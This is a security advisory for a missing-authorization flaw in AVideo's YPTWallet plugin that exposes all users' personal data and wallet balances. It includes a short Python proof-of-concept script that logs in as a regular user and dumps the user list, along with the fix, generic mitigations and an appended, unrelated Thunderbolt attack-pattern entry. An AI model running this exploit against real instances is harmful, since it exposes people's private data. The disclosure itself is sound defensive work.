Vulnerability from github – Published: 2026-03-31 23:21 – Updated: 2026-03-31 23:21Severity: High CWE: CWE-862 (Missing Authorization)
Summary
The plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database.
Details
The authorization check at plugin/YPTWallet/view/users.json.php:8:
if (!User::isLogged()) {
die("Is not logged");
}
The query in YPTWallet::getAllUsers() selects all columns from both tables:
$sql = "SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u "
. " LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 ";
The cleanUpRowFromDatabase() function strips fields matching /pass/i (removes password and recoverPass), but all other PII fields remain: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, analyticsCode, donationLink, and balance.
Other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php) all check User::isAdmin().
Proof of Concept
import requests
TARGET = "https://your-avideo-instance.com"
# Step 1: Login as any regular (non-admin) user
session = requests.Session()
session.post(f"{TARGET}/objects/login.json.php", data={
"user": "regular_user",
"pass": "regular_password"
})
# Step 2: Request the users endpoint
resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={
"current": "1",
"rowCount": "10"
})
data = resp.json()
print(f"Total users: {data['total']}")
for u in data["rows"]:
print(f" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")
The response contains every user on the platform, including admin accounts, with fields: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, balance, analyticsCode, donationLink.
Impact
Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.
Recommended Fix
Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8:
// plugin/YPTWallet/view/users.json.php:8
// Before:
if (!User::isLogged()) {
die("Is not logged");
}
// After:
if (!User::isAdmin()) {
die("Is not logged");
}
This matches the authorization pattern already used by the other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php).

Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
